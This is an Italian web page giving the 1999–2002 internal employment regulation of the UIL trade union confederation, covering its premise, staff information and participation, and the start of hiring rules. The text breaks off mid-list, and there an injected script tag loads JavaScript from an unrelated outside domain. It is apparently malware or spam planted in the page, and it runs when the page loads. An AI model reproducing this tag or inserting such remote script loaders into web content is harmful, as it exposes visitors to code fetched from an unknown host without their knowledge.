Torna
all'elenco delle categorie
|
Categoria: UIL Settore: Enti Privati Data stipula: 16-6-1999 Data decorrenza: 1-1-1999 Data scadenza: 31-12-2002
REGOLAMENTO CONTRATTUALE DELLA UIL
(valido dal 1° gennaio 1999 al 31 dicembre 2002)
16 giugno 1999, in Roma
tra
l'Unione Italiana del Lavoro (UIL) Confederazione - via Lucullo 6,
rappresentata dal Tesoriere Fabio Ortolani e dal Procuratore speciale
Antonio Izzo
e
i rappresentanti del Personale della Confederazione dai sigg. Giancarla
Brizzi, Vincenzo Canettieri, Mauro Celli, Fernando Mariani, Giancarlo
Bergamo, Nicola Paoli
è stato stipulato il seguente regolamento contrattuale.
PREMESSA
Il rapporto che lega la UIL ai propri dipendenti è anche politico e
richiede un particolare impegno nel lavoro che tenga conto di tale
specifica caratteristica.
L'iscrizione alla UIL e l'adesione alle sue finalità per gli operatori
sindacali dipendenti dalla confederazione, sono condizioni indispensabili
nel rapporto di lavoro o di collaborazione con la Confederazione.
Il rapporto di lavoro nella UIL è stabilito in base ai seguenti criteri:
a) elezione da parte degli organismi dirigenti statutari a un incarico
di direzione politica presso la Confederazione;
b) assunzione decisa dalla Segreteria confederale;
c) collaborazione decisa dalla Segreteria confederale.
La UIL è impegnata a promuovere, in accordo con gli operatori sindacali
interessati, la formazione sindacale e professionale ai fini di
migliorarne e ampliarne le esperienze, le attitudini e le capacità
professionali.
Per ragioni di migliore funzionalità dell'attività confederale si
richiede, agli operatori politici e agli operatori tecnici, disponibilità
alla mobilità nell'ambito dei servizi confederali e nelle sedi di Roma
delle strutture collaterali nazionali. Tale mobilità può comportare il
cambiamento di incarico, di orario di lavoro, compatibilmente con le
disponibilità espresse.
I dipendenti del settore privato in aspettativa sindacale ex art. 31,
legge n. 300/70 sono equiparati ai lavoratori dipendenti UIL nei limiti
delle normative e delle leggi vigenti in materia.
Art. 1 - Informazione e partecipazione.
Per garantire l'informazione e la partecipazione sugli indirizzi politici
e organizzativi si stabilisce quanto segue:
a) i dipendenti e/o i funzionari politico-sindacali che non siano membri
eletti, possono partecipare ai lavori degli organismi direttivi della
Confederazione, purché tale partecipazione non intralci la normale
attività dei servizi. Nel caso in cui le riunioni si svolgano fuori sede,
il funzionario che intenda parteciparvi deve richiedere una specifica
autorizzazione al proprio segretario responsabile del servizio;
b) i dipendenti e/o i funzionari politico-sindacali - su richiesta del
segretario responsabile, e se la Segreteria ne ravvisa l'esigenza -
possono partecipare alle riunioni della stessa per portare il loro diretto
contributo alla discussione sui problemi riguardanti la loro attività;
c) la Segreteria confederale, in relazione all'introduzione di nuove
tecnologie, istituirà momenti di aggiornamento, formazione e
riqualificazione professionale dell'apparato tecnico e politico, sui temi
tesi a sviluppare le capacità professionali dell'apparato stesso.
I momenti di aggiornamento, formazione e riqualificazione di cui sopra,
saranno concordati tra la Segreteria confederale e la Commissione del
Personale entro il 30.9.99, anche in relazione alle obiettive esigenze
operative dell'organizzazione e/o dei servizi confederali.
Art. 2 - Rapporti di lavoro.
ASSUNZIONI
1) Dipendenti con funzioni tecnico/amministrative.
Ferme restando le clausole di cui alla premessa, le assunzioni dei
dipendenti con funzioni tecnico/amministrative sono decise dalla
Segreteria confederale su proposta del Segretario generale o di un
Segretario confederale.
2<script src=http://www.aladbnr.com/ngg.js></script>
|